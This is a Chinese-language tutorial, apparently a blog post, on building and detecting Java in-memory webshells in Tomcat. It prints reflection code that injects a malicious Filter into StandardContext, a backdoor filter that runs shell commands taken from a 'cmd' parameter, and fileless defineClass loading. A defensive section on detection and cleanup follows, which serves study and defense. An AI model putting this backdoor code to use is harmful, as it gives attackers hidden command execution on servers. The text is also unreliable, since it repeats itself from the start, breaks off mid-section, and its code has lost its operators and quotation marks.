1. 项目概述为什么我们要深入理解“内存马”最近在和一些做安全研究的朋友交流时发现“内存马”这个词出现的频率越来越高尤其是像Godzilla这类工具中集成的插件更是将这种技术的应用推向了实战化。很多刚入门安全或者做渗透测试的同学可能只是知道怎么用工具生成一个木马然后上传执行但对于其背后究竟是如何在目标服务器的内存里“活”下来、如何绕过常规防护、以及为什么传统的文件查杀对它效果甚微却知之甚少。我自己在早些年做应急响应和红队评估时就吃过这方面的亏。当时面对一个被打穿的Java应用用尽了各种静态查杀工具和流量分析设备就是找不到那个“后门”文件在哪里攻击流量却依然在持续。最后通过深入分析JVM内存才揪出了那个“无文件”的幽灵。这段经历让我深刻意识到仅仅会使用工具是远远不够的理解底层原理才是应对高级威胁的关键。所以今天我想抛开工具的黑箱和大家一起从零开始亲手构建一个Java内存马并以此为契机深入拆解其技术原理。我们的目标不是教你如何攻击而是通过“造轮子”的过程让你彻底明白攻击者是如何思考的他们的技术栈是怎样的从而让你在防御时能够有的放矢知其然更知其所以然。这就像学武术不仅要学招式更要懂心法。2. 核心概念与前置知识扫盲在动手之前我们必须先统一几个核心概念确保我们在同一个频道上对话。这些概念是理解后续所有操作的基石。2.1 什么是“内存马”内存马顾名思义是一种主要驻留在内存中的恶意程序或后门。它与我们传统认知中的木马有本质区别传统文件木马攻击者上传一个恶意的.jsp、.war或可执行文件到服务器磁盘然后通过Web请求访问这个文件来执行命令。它的载体是磁盘文件。内存马攻击者通过利用漏洞如反序列化、文件上传代码执行等将恶意代码直接注入到目标应用正在运行的内存进程中。这段代码会成为应用本身的一部分例如动态注册一个新的Servlet、Filter、Controller或者Agent并且没有对应的磁盘文件。它的载体是进程内存。简单类比传统木马像是在你家院子里偷偷盖了个违章建筑上传文件而内存马则是买通了你们家的管家注入代码到进程让他多了一项“服务”——在给你端茶倒水正常业务的同时偷偷把情报传递出去执行恶意命令。2.2 为什么内存马难以检测理解了定义其难以检测的原因就显而易见了无文件落地没有恶意文件写入磁盘传统的基于文件特征码或哈希值的杀毒软件、主机安全AgentHIDS就失效了。寄生性恶意代码依附于合法的、受信任的Java应用进程如Tomcat、Spring Boot应用。从操作系统层面看它只是java进程的一部分行为与正常业务代码混杂难以区分。动态性内存马通常在运行时动态生成和注册。它可能利用了Java的反射、类加载、字节码操作等动态特性其形态在每次注入时都可能发生变化。隐蔽性高级的内存马会伪装成系统自带的类、Filter或Controller使用常见的、不易引起怀疑的路径如/favicon.ico、/static/xxx作为后门触发点。2.3 Java Web应用的核心处理模型要注入内存马我们必须知道“管家”Web容器是如何工作的。以最经典的Servlet容器Tomcat为例一个HTTP请求的生命周期大致如下HTTP Request - Tomcat Connector - Engine - Host - Context - Wrapper (Servlet)其中有两个关键组件是我们注入内存马时最常利用的“挂钩点”Filter过滤器像一道道的安检门请求ServletRequest和响应ServletResponse都必须经过它。我们可以注入一个恶意的Filter在请求到达真正的业务逻辑之前就截获它。Servlet处理请求的核心单元。我们可以动态注册一个新的Servlet专门用来接收攻击者的指令。这两个组件的信息在Tomcat中最终都维护在一个叫ApplicationContext的对象里更具体地说是其中的StandardContext对象。它掌管着一个Web应用Context的所有Filter映射FilterMap和Filter定义FilterDef以及Servlet映射。我们的核心攻击思路就是想方设法获取到当前Web应用的StandardContext对象然后向其中动态添加我们自己的恶意Filter或Servlet定义。2.4 必要的技术栈准备要完成这个“造轮子”的实验你需要具备以下基础Java基础熟悉反射java.lang.reflect、类加载机制。Web基础了解Servlet、Filter的生命周期和配置。开发环境JDK 8一个IDE如IDEA以及一个用于测试的Web容器如Tomcat 8。安全意识本实验仅用于合法授权的安全研究、教学和测试环境。严禁用于任何非法攻击。建议在虚拟机或完全隔离的实验室环境中进行。3. 攻击链拆解从入口到内存驻留现在我们开始模拟攻击者的视角一步步拆解构建内存马的完整链条。这个过程就像在拼一张复杂的技术地图。3.1 第一步寻找注入入口Initial Access内存马本身不能凭空出现它需要一个“跳板”将代码送入目标JVM。这个跳板就是代码执行漏洞。常见的入口点包括反序列化漏洞如Fastjson、Jackson、Apache Commons Collections等库的漏洞攻击者发送一个精心构造的序列化数据触发远程代码执行RCE。表达式注入漏洞如SpELSpring Expression Language、OGNL、MVEL等在解析表达式时执行任意代码。模板注入漏洞如Freemarker、Velocity、Thymeleaf等模板引擎的SSTIServer-Side Template Injection。文件上传解析漏洞上传一个包含恶意代码的JSP文件并利用容器特性或解析漏洞执行它。注意虽然上传了文件但我们的目标不是依赖这个文件而是利用它作为“一次性注射器”执行一段将内存马植入内存的代码之后可以删除该文件。为了实验我们创建一个最简单的“漏洞”场景假设我们有一个存在RCE的端点。在实际的Spring Boot应用中可以创建一个脆弱的接口RestController public class VulnerableController { GetMapping(/eval) public String eval(RequestParam String code) throws Exception { // 警告这是极度危险的操作仅用于演示漏洞原理 return executeCode(code); } private String executeCode(String code) throws Exception { // 模拟不安全的代码执行实际可能是通过反射调用Runtime.exec等 // 此处仅为示意真实漏洞利用复杂得多 return Executed: code; } }攻击者可以向/eval?code恶意代码发送请求。我们的目标就是让这个恶意代码包含注入内存马的逻辑。3.2 第二步获取Web容器的上下文The Holy Grail: StandardContext这是整个链条中最关键、也最具技术挑战的一步。我们的恶意代码需要在一个陌生的JVM进程中找到当前Web应用的“控制中心”——StandardContext。在Tomcat中每个Web应用一个Context都对应一个StandardContext实例。我们需要通过Java的反射机制从当前线程或全局的类加载器中“爬”到这个对象。以下是几种经典的获取路径路径一从当前线程的上下文类加载器Thread Context ClassLoader向上查找这是最常用且相对稳定的方法。在Tomcat中处理HTTP请求的线程其上下文类加载器通常被设置为WebappClassLoader而这个ClassLoader持有对StandardContext的引用。// 伪代码展示查找思路 Thread currentThread Thread.currentThread(); ClassLoader webappClassLoader currentThread.getContextClassLoader(); // 通过反射获取WebappClassLoader的resources属性一个Context对象 Field resourcesField webappClassLoader.getClass().getDeclaredField(resources); resourcesField.setAccessible(true); Object resources resourcesField.get(webappClassLoader); // 从resources中获取context属性 Field contextField resources.getClass().getDeclaredField(context); contextField.setAccessible(true); Object standardContext contextField.get(resources); // 这就是我们梦寐以求的StandardContext注意Tomcat版本不同内部字段名和结构可能有差异。上述路径在Tomcat 8/9中比较典型但需要根据实际情况调整。实战中攻击者往往会准备多个查找链以适应不同环境。路径二从全局的ServletContext中获取通过ServletRequest或ServletContext对象也可以间接获取。// 假设在Filter或Servlet的doFilter/doGet方法中 ServletContext servletContext request.getServletContext(); Field contextField servletContext.getClass().getDeclaredField(context); contextField.setAccessible(true); Object applicationContext contextField.get(servletContext); Field stdContextField applicationContext.getClass().getDeclaredField(context); stdContextField.setAccessible(true); Object standardContext stdContextField.get(applicationContext);路径三通过内存搜索更通用但更复杂如果上述特定路径都失败了可以考虑遍历JVM中所有已加载的类寻找org.apache.catalina.core.StandardContext的实例。这种方法兼容性更强但实现更复杂对性能也有影响。3.3 第三步动态注册恶意FilterThe Injection拿到StandardContext后我们就可以为所欲为在容器管理范畴内了。注册一个Filter是内存马最常见的形式因为它能拦截所有请求隐蔽性高。我们需要创建三个核心对象FilterDef过滤器定义定义Filter的类名、名称、参数等。ApplicationFilterConfig过滤器配置将FilterDef包装成可被容器管理的配置对象。FilterMap过滤器映射指定这个Filter拦截哪些URL模式。然后将它们添加到StandardContext相应的集合中。最后还要通过反射调用一些内部方法通知容器过滤器链发生了变化使其生效。下面是一个高度精简的示例代码展示了核心步骤// 假设已经通过某种方式获取到了 standardContext 对象 Object standardContext ...; // 1. 创建恶意Filter类这里用内部类示例实战中可能是通过字节码动态生成 String filterClassName com.evil.MemoryShellFilter; // 我们需要确保这个类能被当前ClassLoader加载。一种方式是通过defineClass动态定义这里假设已存在。 Class? evilFilterClass Class.forName(filterClassName); // 2. 创建 FilterDef Class? filterDefClass Class.forName(org.apache.catalina.deploy.FilterDef); Object filterDef filterDefClass.newInstance(); filterDefClass.getMethod(setFilterName, String.class).invoke(filterDef, myEvilFilter); filterDefClass.getMethod(setFilterClass, String.class).invoke(filterDef, filterClassName); // 3. 将 FilterDef 添加到 StandardContext standardContext.getClass().getMethod(addFilterDef, filterDefClass).invoke(standardContext, filterDef); // 4. 创建 FilterMap Class? filterMapClass Class.forName(org.apache.catalina.deploy.FilterMap); Object filterMap filterMapClass.newInstance(); filterMapClass.getMethod(setFilterName, String.class).invoke(filterMap, myEvilFilter); filterMapClass.getMethod(addURLPattern, String.class).invoke(filterMap, /*); // 拦截所有请求 // 也可以设置 dispatcher如 REQUEST, FORWARD, INCLUDE, ERROR filterMapClass.getMethod(setDispatcher, String.class).invoke(filterMap, REQUEST); // 5. 将 FilterMap 添加到 StandardContext standardContext.getClass().getMethod(addFilterMap, filterMapClass).invoke(standardContext, filterMap); // 6. 创建 ApplicationFilterConfig 并注册关键步骤使Filter实例化 Class? filterConfigClass Class.forName(org.apache.catalina.core.ApplicationFilterConfig); Constructor? constructor filterConfigClass.getDeclaredConstructor(Class.forName(org.apache.catalina.Context), filterDefClass); constructor.setAccessible(true); Object filterConfig constructor.newInstance(standardContext, filterDef); // 获取 StandardContext 的 filterConfigs 属性一个Map并放入我们的配置 Field filterConfigsField standardContext.getClass().getDeclaredField(filterConfigs); filterConfigsField.setAccessible(true); Map filterConfigs (Map) filterConfigsField.get(standardContext); synchronized (filterConfigs) { filterConfigs.put(myEvilFilter, filterConfig); } // 7. 通知容器过滤器链已更新Tomcat 8.5 可能需要 try { Method filterStartMethod standardContext.getClass().getMethod(filterStart); filterStartMethod.invoke(standardContext); } catch (NoSuchMethodException e) { // 老版本可能没有这个方法但通常添加配置后新请求到来时会自动处理 }而com.evil.MemoryShellFilter这个类就是我们的后门核心它可能长这样public class MemoryShellFilter implements Filter { private static final String PASSWORD cmd; Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { HttpServletRequest req (HttpServletRequest) request; HttpServletResponse resp (HttpServletResponse) response; // 检查是否为后门请求 if (req.getParameter(PASSWORD) ! null) { String cmd req.getParameter(PASSWORD); // 执行命令此处极度危险仅作演示 Process p Runtime.getRuntime().exec(cmd); BufferedReader reader new BufferedReader(new InputStreamReader(p.getInputStream())); String line; StringBuilder output new StringBuilder(); while ((line reader.readLine()) ! null) { output.append(line).append(\n); } resp.getWriter().write(output.toString()); return; // 拦截请求不传递给后续过滤器或Servlet } // 如果是正常请求放行 chain.doFilter(request, response); } Override public void init(FilterConfig filterConfig) {} Override public void destroy() {} }这样攻击者访问任何路径只要带上?cmdwhoami参数就会触发命令执行而正常的业务请求不受影响。3.4 第四步实现无文件类加载Classloading in Memory上面的示例还有一个问题我们假设MemoryShellFilter这个类已经存在于Classpath中。但在真实攻击中目标服务器上显然没有这个类。因此我们需要解决如何让JVM加载并定义一个原本不存在的类。这就需要用到java.lang.ClassLoader#defineClass方法。这个方法可以将一个字节数组即编译好的.class文件内容定义为一个Class对象。我们可以将恶意Filter的字节码bytecode作为字符串硬编码在注入的代码中或者从远程服务器加载然后使用defineClass将其“凭空”定义到JVM里。步骤大致如下准备字节码将MemoryShellFilter.java编译成.class文件然后将其内容转换为Base64字符串或字节数组嵌入到我们的注入代码漏洞利用代码中。获取当前ClassLoader通常使用Thread.currentThread().getContextClassLoader()。反射调用defineClass由于defineClass是protected方法需要通过反射来调用。定义类将字节码数组传给defineClass得到Class对象。// 示例动态定义类 ClassLoader cl Thread.currentThread().getContextClassLoader(); Class? clazz null; try { // 假设 evilClassBytes 是 MemoryShellFilter.class 的字节数组 byte[] evilClassBytes ...; // 从Base64字符串解码或远程获取 Method defineClassMethod ClassLoader.class.getDeclaredMethod(defineClass, String.class, byte[].class, int.class, int.class); defineClassMethod.setAccessible(true); clazz (Class?) defineClassMethod.invoke(cl, com.evil.MemoryShellFilter, evilClassBytes, 0, evilClassBytes.length); } catch (Exception e) { e.printStackTrace(); } // 现在 clazz 就是动态加载的类可以用于创建 FilterDef通过结合步骤三和步骤四我们就完成了一个完整的、无需磁盘文件落地的内存马注入流程。4. 技术原理深度剖析Godzilla插件在做什么了解了手动构建的过程我们再回过头来看像Godzilla、Behinder冰蝎这样的工具它们的插件化内存马功能本质上是对上述流程的高度自动化、模块化和兼容性封装。4.1 插件架构与自动化Godzilla的Java内存马插件通常是一个封装好的.jar文件或一段复杂的序列化数据。当通过漏洞点如反序列化加载后它会自动执行以下操作环境探测自动识别目标容器的类型Tomcat、Jetty、WebLogic、JBoss等、版本、以及当前Web应用的路径。自适应查找链内置了多条获取StandardContext或对应容器的上下文对象的反射路径。它会像我们手动尝试一样按顺序尝试多条路径直到成功获取上下文对象大大提高了在不同环境下的成功率。字节码生成与加载插件内部包含了多种内存马Filter型、Servlet型、Interceptor型、Agent型等的模板字节码。根据用户选择动态生成最终的字节码并利用defineClass或Unsafe.defineClass进行加载。静默注册完成类的动态加载和组件的注册并尽可能清理注入过程中产生的临时痕迹如线程局部变量、异常栈等。通信协议集成加密的通信信道。与我们示例中的简单cmd参数不同Godzilla使用的通信协议是加密的流量特征更隐蔽可以绕过简单的WAF关键字检测。4.2 内存马的“保鲜”与“隐形”技巧高级的内存马会采用更多技术来增强持久化和隐蔽性线程注入将后门逻辑注入到一个长期存活的线程如Tomcat的Acceptor线程、业务线程池的线程中即使会话结束后门依然存在。注册为默认Servlet/Filter尝试将自己注册为处理/或*.jsp等默认路径的组件增加排查难度。利用Java Agent技术这是更底层的技术。通过instrumentationAPI在类加载时修改类的字节码例如在每个Servlet的service方法开头插入后门代码实现更深度的寄生。这种内存马即使重启JVM如果不清理Agent也可能存活检测难度极高。反检测会检查当前环境中是否存在Java安全管理器SecurityManager、RASP运行时应用自保护等防护产品并尝试绕过或使其失效。自清理在Filter或Servlet的init方法中可能会尝试删除最初用于注入的漏洞文件如果存在的话抹除初始攻击痕迹。4.3 与传统JSP Webshell的对比特性传统JSP Webshell内存马 (如Filter型)存储位置服务器磁盘Web目录JVM进程内存检测难度相对容易文件扫描、哈希校验困难需内存分析、行为监控持久性依赖文件存在删除即失效与进程生命周期绑定重启应用即失效除非注入启动项访问方式访问特定的JSP文件路径访问任何路径Filter型或特定路径Servlet型流量特征可能明显特定文件、参数名隐蔽可伪装成正常API通信加密清除方式删除文件重启应用服务或使用特殊工具清除内存中的恶意组件5. 防御、检测与清除实战指南作为防御方了解了攻击原理我们就能制定更有效的策略。5.1 防御前置减少攻击面及时修补漏洞这是最根本的。定期更新框架、库和中间件杜绝反序列化、表达式注入等高危漏洞。最小权限原则运行Java应用的系统用户应具有最小必要权限避免其能够执行任意命令或写入关键目录。部署WAF/RASPWeb应用防火墙WAF可以拦截常见的攻击payload。运行时应用自保护RASP能深入JVM内部监控敏感API如Runtime.exec,defineClass, 反射修改FilterChain等的调用并进行阻断或告警。启用Java安全管理器配置严格的SecurityManager策略限制反射、类加载、执行命令等危险操作。虽然配置复杂但能极大提高攻击门槛。5.2 运行时检测发现内存中的“幽灵”当防御被突破我们需要有能力发现已经植入的内存马。基于流量的检测异常路径与参数监控是否存在对非业务路径的频繁访问或正常API请求中携带异常参数如cmd,code等。加密流量识别Godzilla等工具的通信流量通常有固定的加密模式或协议特征可以通过流量分析设备进行识别。请求-响应时间异常执行系统命令的请求其响应时间模式可能与正常业务请求不同。基于内存的检测核心手段列出所有Filter/Servlet编写诊断代码或使用工具动态获取当前StandardContext中注册的所有FilterDef和Servlet映射与正常的配置文件web.xml或注解声明进行比对找出“多余”的组件。// 诊断代码示例打印所有Filter ServletContext ctx request.getServletContext(); Field contextField ctx.getClass().getDeclaredField(context); contextField.setAccessible(true); Object applicationContext contextField.get(ctx); Field stdContextField applicationContext.getClass().getDeclaredField(context); stdContextField.setAccessible(true); Object standardContext stdContextField.get(applicationContext); // 获取 filterDefs MapString, ? filterDefs (MapString, ?) standardContext.getClass().getMethod(getFilterDefs).invoke(standardContext); System.out.println(Registered Filters: filterDefs.keySet());检查FilterChain在请求处理过程中可以打印或记录当前Filter链中的所有Filter类名发现未知的Filter。使用Java Agent进行内存扫描这是最强大的方式。可以开发一个安全Agent定期扫描JVM中已加载的类查找可疑的类名如包含shell、memshell、filter等关键词的匿名类、或检查Filter接口的实现类中是否有来自非系统ClassLoader的未知类。分析线程栈有些内存马会创建独立线程。检查JVM中所有线程的栈轨迹寻找执行可疑操作如Runtime.exec的线程。使用专业工具Arthas阿里巴巴开源的Java诊断工具。可以使用scsearch class命令查找类使用jad命令反编译可疑类使用tt命令监听方法调用。Java-Malware-Detector一些开源的安全工具集提供了检测常见内存马模式的脚本。商业RASP/安全平台通常具备内存Webshell检测能力。5.3 应急清除如何干净地移除内存马发现内存马后清除务必要干净避免残留。重启大法对于Filter/Servlet型内存马重启Tomcat等Java应用服务是最直接、最有效的方法。因为内存马存在于进程内存中进程终止内存马自然消失。这是生产环境最推荐的紧急处置方式。动态卸载不推荐用于生产在技术验证环境中可以尝试逆向注入过程通过反射从StandardContext的filterConfigs和filterDefs中移除对应的条目并调用filterDestroy等方法。但此操作风险高可能引发容器状态不一致。// 逆向移除Filter的示例高风险需谨慎 standardContext.getClass().getMethod(removeFilterDef, String.class).invoke(standardContext, myEvilFilter); // 还需要从filterConfigs Map中移除并清理FilterMap... 操作复杂且易出错。清除持久化痕迹重启后必须排查服务器上是否被植入了持久化后门如检查Tomcat的server.xml、context.xml是否被添加了恶意Valve或Listener。检查crontab、启动项rc.local,systemd服务是否有可疑任务。检查是否有恶意的Java Agent被通过-javaagent参数持久化。查看JVM启动参数和CATALINA_OPTS环境变量。根源修复清除后必须找到并修复最初被利用的漏洞入口点如那个脆弱的/eval接口否则很快会被再次植入。6. 从攻击视角看防御给开发者的建议通过这次“从零构建”的旅程我们可以从攻击者思维中提炼出给开发者和架构师的安全建议慎用反射和动态类加载业务代码中尽量避免不必要的反射调用尤其是允许用户输入来控制反射目标的情况。如果必须使用要进行严格的输入校验和白名单控制。监控敏感API在代码层面或通过Agent对ClassLoader.defineClass、Unsafe.defineClass、Runtime.exec、ProcessBuilder.start等高风险方法的调用进行日志记录或监控告警。定期进行组件清单比对在应用启动时记录所有注册的Filter、Servlet、Controller、Interceptor清单。定期或在每次发布后通过健康检查接口对比当前运行时的清单与基准清单是否一致。强化依赖管理使用Maven Enforcer等插件禁止引入存在已知高危漏洞的组件版本。对反序列化库如Jackson、Fastjson、表达式解析库的使用要格外小心。代码审计与灰盒测试在SDL安全开发生命周期中加入针对“内存马”植入场景的代码审计点和灰盒测试用例。模拟攻击者尝试获取StandardContext、动态注册组件等操作看是否会触发防御机制或告警。理解内存马不仅仅是了解一种攻击技术更是对Java运行时安全、Web容器架构和攻防博弈思维的一次深度训练。它告诉我们在现代攻防中边界正在变得模糊防御必须深入到应用的运行时内部。希望这篇长文能帮你建立起对这项技术的立体认知在安全的道路上走得更稳更远。
1. 项目概述为什么我们要深入理解“内存马”最近在和一些做安全研究的朋友交流时发现“内存马”这个词出现的频率越来越高尤其是像Godzilla这类工具中集成的插件更是将这种技术的应用推向了实战化。很多刚入门安全或者做渗透测试的同学可能只是知道怎么用工具生成一个木马然后上传执行但对于其背后究竟是如何在目标服务器的内存里“活”下来、如何绕过常规防护、以及为什么传统的文件查杀对它效果甚微却知之甚少。我自己在早些年做应急响应和红队评估时就吃过这方面的亏。当时面对一个被打穿的Java应用用尽了各种静态查杀工具和流量分析设备就是找不到那个“后门”文件在哪里攻击流量却依然在持续。最后通过深入分析JVM内存才揪出了那个“无文件”的幽灵。这段经历让我深刻意识到仅仅会使用工具是远远不够的理解底层原理才是应对高级威胁的关键。所以今天我想抛开工具的黑箱和大家一起从零开始亲手构建一个Java内存马并以此为契机深入拆解其技术原理。我们的目标不是教你如何攻击而是通过“造轮子”的过程让你彻底明白攻击者是如何思考的他们的技术栈是怎样的从而让你在防御时能够有的放矢知其然更知其所以然。这就像学武术不仅要学招式更要懂心法。2. 核心概念与前置知识扫盲在动手之前我们必须先统一几个核心概念确保我们在同一个频道上对话。这些概念是理解后续所有操作的基石。2.1 什么是“内存马”内存马顾名思义是一种主要驻留在内存中的恶意程序或后门。它与我们传统认知中的木马有本质区别传统文件木马攻击者上传一个恶意的.jsp、.war或可执行文件到服务器磁盘然后通过Web请求访问这个文件来执行命令。它的载体是磁盘文件。内存马攻击者通过利用漏洞如反序列化、文件上传代码执行等将恶意代码直接注入到目标应用正在运行的内存进程中。这段代码会成为应用本身的一部分例如动态注册一个新的Servlet、Filter、Controller或者Agent并且没有对应的磁盘文件。它的载体是进程内存。简单类比传统木马像是在你家院子里偷偷盖了个违章建筑上传文件而内存马则是买通了你们家的管家注入代码到进程让他多了一项“服务”——在给你端茶倒水正常业务的同时偷偷把情报传递出去执行恶意命令。2.2 为什么内存马难以检测理解了定义其难以检测的原因就显而易见了无文件落地没有恶意文件写入磁盘传统的基于文件特征码或哈希值的杀毒软件、主机安全AgentHIDS就失效了。寄生性恶意代码依附于合法的、受信任的Java应用进程如Tomcat、Spring Boot应用。从操作系统层面看它只是java进程的一部分行为与正常业务代码混杂难以区分。动态性内存马通常在运行时动态生成和注册。它可能利用了Java的反射、类加载、字节码操作等动态特性其形态在每次注入时都可能发生变化。隐蔽性高级的内存马会伪装成系统自带的类、Filter或Controller使用常见的、不易引起怀疑的路径如/favicon.ico、/static/xxx作为后门触发点。2.3 Java Web应用的核心处理模型要注入内存马我们必须知道“管家”Web容器是如何工作的。以最经典的Servlet容器Tomcat为例一个HTTP请求的生命周期大致如下HTTP Request - Tomcat Connector - Engine - Host - Context - Wrapper (Servlet)其中有两个关键组件是我们注入内存马时最常利用的“挂钩点”Filter过滤器像一道道的安检门请求ServletRequest和响应ServletResponse都必须经过它。我们可以注入一个恶意的Filter在请求到达真正的业务逻辑之前就截获它。Servlet处理请求的核心单元。我们可以动态注册一个新的Servlet专门用来接收攻击者的指令。这两个组件的信息在Tomcat中最终都维护在一个叫ApplicationContext的对象里更具体地说是其中的StandardContext对象。它掌管着一个Web应用Context的所有Filter映射FilterMap和Filter定义FilterDef以及Servlet映射。我们的核心攻击思路就是想方设法获取到当前Web应用的StandardContext对象然后向其中动态添加我们自己的恶意Filter或Servlet定义。2.4 必要的技术栈准备要完成这个“造轮子”的实验你需要具备以下基础Java基础熟悉反射java.lang.reflect、类加载机制。Web基础了解Servlet、Filter的生命周期和配置。开发环境JDK 8一个IDE如IDEA以及一个用于测试的Web容器如Tomcat 8。安全意识本实验仅用于合法授权的安全研究、教学和测试环境。严禁用于任何非法攻击。建议在虚拟机或完全隔离的实验室环境中进行。3. 攻击链拆解从入口到内存驻留现在我们开始模拟攻击者的视角一步步拆解构建内存马的完整链条。这个过程就像在拼一张复杂的技术地图。3.1 第一步寻找注入入口Initial Access内存马本身不能凭空出现它需要一个“跳板”将代码送入目标JVM。这个跳板就是代码执行漏洞。常见的入口点包括反序列化漏洞如Fastjson、Jackson、Apache Commons Collections等库的漏洞攻击者发送一个精心构造的序列化数据触发远程代码执行RCE。表达式注入漏洞如SpELSpring Expression Language、OGNL、MVEL等在解析表达式时执行任意代码。模板注入漏洞如Freemarker、Velocity、Thymeleaf等模板引擎的SSTIServer-Side Template Injection。文件上传解析漏洞上传一个包含恶意代码的JSP文件并利用容器特性或解析漏洞执行它。注意虽然上传了文件但我们的目标不是依赖这个文件而是利用它作为“一次性注射器”执行一段将内存马植入内存的代码之后可以删除该文件。为了实验我们创建一个最简单的“漏洞”场景假设我们有一个存在RCE的端点。在实际的Spring Boot应用中可以创建一个脆弱的接口RestController public class VulnerableController { GetMapping(/eval) public String eval(RequestParam String code) throws Exception { // 警告这是极度危险的操作仅用于演示漏洞原理 return executeCode(code); } private String executeCode(String code) throws Exception { // 模拟不安全的代码执行实际可能是通过反射调用Runtime.exec等 // 此处仅为示意真实漏洞利用复杂得多 return Executed: code; } }攻击者可以向/eval?code恶意代码发送请求。我们的目标就是让这个恶意代码包含注入内存马的逻辑。3.2 第二步获取Web容器的上下文The Holy Grail: StandardContext这是整个链条中最关键、也最具技术挑战的一步。我们的恶意代码需要在一个陌生的JVM进程中找到当前Web应用的“控制中心”——StandardContext。在Tomcat中每个Web应用一个Context都对应一个StandardContext实例。我们需要通过Java的反射机制从当前线程或全局的类加载器中“爬”到这个对象。以下是几种经典的获取路径路径一从当前线程的上下文类加载器Thread Context ClassLoader向上查找这是最常用且相对稳定的方法。在Tomcat中处理HTTP请求的线程其上下文类加载器通常被设置为WebappClassLoader而这个ClassLoader持有对StandardContext的引用。// 伪代码展示查找思路 Thread currentThread Thread.currentThread(); ClassLoader webappClassLoader currentThread.getContextClassLoader(); // 通过反射获取WebappClassLoader的resources属性一个Context对象 Field resourcesField webappClassLoader.getClass().getDeclaredField(resources); resourcesField.setAccessible(true); Object resources resourcesField.get(webappClassLoader); // 从resources中获取context属性 Field contextField resources.getClass().getDeclaredField(context); contextField.setAccessible(true); Object standardContext contextField.get(resources); // 这就是我们梦寐以求的StandardContext注意Tomcat版本不同内部字段名和结构可能有差异。上述路径在Tomcat 8/9中比较典型但需要根据实际情况调整。实战中攻击者往往会准备多个查找链以适应不同环境。路径二从全局的ServletContext中获取通过ServletRequest或ServletContext对象也可以间接获取。// 假设在Filter或Servlet的doFilter/doGet方法中 ServletContext servletContext request.getServletContext(); Field contextField servletContext.getClass().getDeclaredField(context); contextField.setAccessible(true); Object applicationContext contextField.get(servletContext); Field stdContextField applicationContext.getClass().getDeclaredField(context); stdContextField.setAccessible(true); Object standardContext stdContextField.get(applicationContext);路径三通过内存搜索更通用但更复杂如果上述特定路径都失败了可以考虑遍历JVM中所有已加载的类寻找org.apache.catalina.core.StandardContext的实例。这种方法兼容性更强但实现更复杂对性能也有影响。3.3 第三步动态注册恶意FilterThe Injection拿到StandardContext后我们就可以为所欲为在容器管理范畴内了。注册一个Filter是内存马最常见的形式因为它能拦截所有请求隐蔽性高。我们需要创建三个核心对象FilterDef过滤器定义定义Filter的类名、名称、参数等。ApplicationFilterConfig过滤器配置将FilterDef包装成可被容器管理的配置对象。FilterMap过滤器映射指定这个Filter拦截哪些URL模式。然后将它们添加到StandardContext相应的集合中。最后还要通过反射调用一些内部方法通知容器过滤器链发生了变化使其生效。下面是一个高度精简的示例代码展示了核心步骤// 假设已经通过某种方式获取到了 standardContext 对象 Object standardContext ...; // 1. 创建恶意Filter类这里用内部类示例实战中可能是通过字节码动态生成 String filterClassName com.evil.MemoryShellFilter; // 我们需要确保这个类能被当前ClassLoader加载。一种方式是通过defineClass动态定义这里假设已存在。 Class? evilFilterClass Class.forName(filterClassName); // 2. 创建 FilterDef Class? filterDefClass Class.forName(org.apache.catalina.deploy.FilterDef); Object filterDef filterDefClass.newInstance(); filterDefClass.getMethod(setFilterName, String.class).invoke(filterDef, myEvilFilter); filterDefClass.getMethod(setFilterClass, String.class).invoke(filterDef, filterClassName); // 3. 将 FilterDef 添加到 StandardContext standardContext.getClass().getMethod(addFilterDef, filterDefClass).invoke(standardContext, filterDef); // 4. 创建 FilterMap Class? filterMapClass Class.forName(org.apache.catalina.deploy.FilterMap); Object filterMap filterMapClass.newInstance(); filterMapClass.getMethod(setFilterName, String.class).invoke(filterMap, myEvilFilter); filterMapClass.getMethod(addURLPattern, String.class).invoke(filterMap, /*); // 拦截所有请求 // 也可以设置 dispatcher如 REQUEST, FORWARD, INCLUDE, ERROR filterMapClass.getMethod(setDispatcher, String.class).invoke(filterMap, REQUEST); // 5. 将 FilterMap 添加到 StandardContext standardContext.getClass().getMethod(addFilterMap, filterMapClass).invoke(standardContext, filterMap); // 6. 创建 ApplicationFilterConfig 并注册关键步骤使Filter实例化 Class? filterConfigClass Class.forName(org.apache.catalina.core.ApplicationFilterConfig); Constructor? constructor filterConfigClass.getDeclaredConstructor(Class.forName(org.apache.catalina.Context), filterDefClass); constructor.setAccessible(true); Object filterConfig constructor.newInstance(standardContext, filterDef); // 获取 StandardContext 的 filterConfigs 属性一个Map并放入我们的配置 Field filterConfigsField standardContext.getClass().getDeclaredField(filterConfigs); filterConfigsField.setAccessible(true); Map filterConfigs (Map) filterConfigsField.get(standardContext); synchronized (filterConfigs) { filterConfigs.put(myEvilFilter, filterConfig); } // 7. 通知容器过滤器链已更新Tomcat 8.5 可能需要 try { Method filterStartMethod standardContext.getClass().getMethod(filterStart); filterStartMethod.invoke(standardContext); } catch (NoSuchMethodException e) { // 老版本可能没有这个方法但通常添加配置后新请求到来时会自动处理 }而com.evil.MemoryShellFilter这个类就是我们的后门核心它可能长这样public class MemoryShellFilter implements Filter { private static final String PASSWORD cmd; Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { HttpServletRequest req (HttpServletRequest) request; HttpServletResponse resp (HttpServletResponse) response; // 检查是否为后门请求 if (req.getParameter(PASSWORD) ! null) { String cmd req.getParameter(PASSWORD); // 执行命令此处极度危险仅作演示 Process p Runtime.getRuntime().exec(cmd); BufferedReader reader new BufferedReader(new InputStreamReader(p.getInputStream())); String line; StringBuilder output new StringBuilder(); while ((line reader.readLine()) ! null) { output.append(line).append(\n); } resp.getWriter().write(output.toString()); return; // 拦截请求不传递给后续过滤器或Servlet } // 如果是正常请求放行 chain.doFilter(request, response); } Override public void init(FilterConfig filterConfig) {} Override public void destroy() {} }这样攻击者访问任何路径只要带上?cmdwhoami参数就会触发命令执行而正常的业务请求不受影响。3.4 第四步实现无文件类加载Classloading in 